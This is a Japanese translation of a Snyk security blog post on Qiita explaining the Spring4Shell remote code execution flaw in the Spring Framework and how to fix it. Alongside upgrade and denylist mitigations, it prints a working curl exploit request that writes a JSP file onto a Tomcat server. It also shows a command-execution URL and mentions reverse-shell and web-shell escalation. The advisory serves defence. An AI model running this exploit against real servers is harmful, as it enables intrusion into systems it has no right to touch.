20
13

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

Spring4Shell:JavaのSpringフレームワークのゼロデイRCE脆弱性について解説します

Posted at

本記事は2022年3月31日(米国時間)/2022年4月1日(日本時間)に公開した英語ブログSpring4Shell: The zero-day RCE in the Spring Framework explainedを日本語化した内容です。

logo-solid-background.png

2022年3月30日(米国時間)、Spring フレームワークにリモートコード実行(RCE)可能な重大な脆弱性が発見されました。具体的には、spring-webmvcspring-webflux の両方の依存先である spring-beans パッケージに含まれています。この脆弱性は、ソフトウェアのサプライチェーンを保護することがオープンソースにとって重要であることを示すもう一つの例です。

LunasecRapid7Praetorianなどのセキュリティリソースがこの脆弱性が実在することを確認し、その間にSpringはこの問題を修正する新バージョンをすでにリリースしているので、アップデートをお勧めします。Spring4Shellは、数ヶ月前に起こったLog4Shellの脆弱性のような影響はないようですが、それでもSpringフレームワークを使用しているすべての組織でテストを行い、優先的に修正する必要があります。この記事では、RCEがどのように機能するかを解説します。

Spring4Shellの説明

もし、メモリにロードされたリクエストマッピングを持つコントローラがあれば、すでにこの脆弱性が存在することになります。下図は、 GreetingControllerPostMapping/greeting に設定したものです。例えば Tomcat の http://mydomain/myapp/greeting でアプリケーションを呼び出すと、入力を POJO (Plain Old Java Object) に変換しようとします。この場合のPOJOは Greeting オブジェクトになります。

@Controller
public class GreetingController {

  @PostMapping("/greeting")
  public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
     model.addAttribute("greeting", greeting);
     return "result";
  }

}

しかし、Springはこれらの値をJavaオブジェクトにマッピングするためシリアライズを行うので、他の値を設定することも可能です。いろいろ調べてみると、クラスのプロパティを設定することができることがわかりました。これは、Tomcatで実行する場合、興味深いことです。
これを実際に示すために、次の curl を使って、クラスのいくつかのロギングプロパティを通じて rce.jsp ファイルを作成することができます。

curl -X POST \
 -H "pre:<%" \
 -H "post:;%>" \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}i out.println("HACKED" + (2 + 5))%{post}i' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/myapp' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
 http://mydomain/myapp/greeting

このパターンで設定されたものは、すべてファイルの中身になります。巧妙なエスケープとヘッダーの使用により、私たちのチームはTomcatサーバー上に <% out.println("HACKED"); %> という内容のJSPファイルを作成することが出来ました。このファイルは /myapp/rce.jsp でアクセス可能です。

blog-spring4shell-explained-hacked.png

Snyk のセキュリティ研究チームのKirill EfimovAviad Hahamiが作成した完全なPOCは、GitHubで公開されています。

単純な out.println を評価できれば、 JSP ファイルを作成し、Runtime.exec() を使って逆シェルアクセスを実現するターミナルコマンドを含めることも可能です。あるいは、JSPの機能を使って、素敵なウェブシェルインターフェースを作ることもできます。

多くのブログで紹介されている同様の手法は、コマンドを実行する機能を持つJSPを作成することです。このPythonスクリプトは、そのために必要なヘッダを持つ適切なリクエストを作成します。このスクリプトをデモアプリケーションで実行すると、次のように whoami コマンドを実行することができます。 http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami

blog-spring4shell-explained-cmd.png

脆弱となる条件は?

現在、事態が急速に進展しているため、現在わかっていることのみをお伝えいたします。

影響を受けるバージョンのspring-beansについては、この脆弱性はJDK 9以降を使用している場合にのみ有効であるように見えます。JDK 9の導入は、古い問題CVE-2010-1622をかなり迂回することになります。

多くのJava開発者がすでに8以降のJavaバージョンに移行しており、またSpringフレームワークの利用が非常に多いため、多くのJavaアプリケーションがこの問題に対して脆弱である可能性があると考えています。

この問題を解決する方法は複数あります。Springのメンテナー(管理者)は、フレームワークの新バージョンをリリースしました。ですから、Springフレームワークのバージョン5.3.18または5.2.20にアップデートすることが最良のアドバイスです。私たちのセキュリティ研究チームによると、spring-beanパッケージを最新バージョンに更新するだけで良いそうですが、フレームワーク全体を更新する方がより理にかなっています。Spring Bootを使用している場合、リリース2.6.6または2.5.12は更新されたSprフレームワークを統合しています。

Springの新しいバージョンにアップデートできない場合、JavaのバージョンをJava 8にダウングレードすることが選択肢となります。

もう一つの方法は、コントローラー内に InitBinder を作成するか、以下のように ControllerAdvice として独立させることです。

@ControllerAdvice

@Order(10000)

public class BinderControllerAdvice {

	@InitBinder

	public void setAllowedFields(WebDataBinder dataBinder) {

     	String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};

     	dataBinder.setDisallowedFields(denylist);

	}

}

しかし、これは最終的な解決策ではないことに注意してください。このようなブロックリストを作成することは、セキュリティ上良い方法とは言えませんが、時間を稼ぐことはできるそうです。Springフレームワークのメンテナーは、ブログ記事RequestMappingHandlerAdapterr を作成して、他のすべての初期化に続いて最後に WebDataBinder を更新することを提案しています。

フレームワークやライブラリに依存すること

Spring4Shellでは、オープンソースのフレームワークやライブラリに大きく依存していることを再認識させられます。しかし、今回のようなセキュリティ脆弱性や、最近のLog4Shell RCEのようなセキュリティ脆弱性が発生した場合、この事実を意識していれば即座に対応できます。

Snyk は、アプリケーションを定期的にスキャンすることで、このような事態に対処するお手伝いをします。新しい脆弱性が検出されると、Snyk はあなたとチームに注意を促し、アプリケーションを安全に保つための推奨される対策法を提供します。

最後に、今回のようなゼロデイ脆弱性によって、なぜライブラリの最新版を利用することが重要なのかを思い知らされます。最新版であれば、アップデートの適用、再構築、再リリースをより簡単に素早く行うことができます。

ブログを読んで、Snykを使ってみたい!と思われた方は、ぜひ無料トライアルをお試しください。トライアル中の技術的なご質問は、サポート日本語でお寄せください。

Snykでは、セキュアなコーディングのための情報や脆弱性の最新情報などを発信しています。ぜひTwitterFacebookブログのフォローをお願いします。

20
13
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
20
13

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?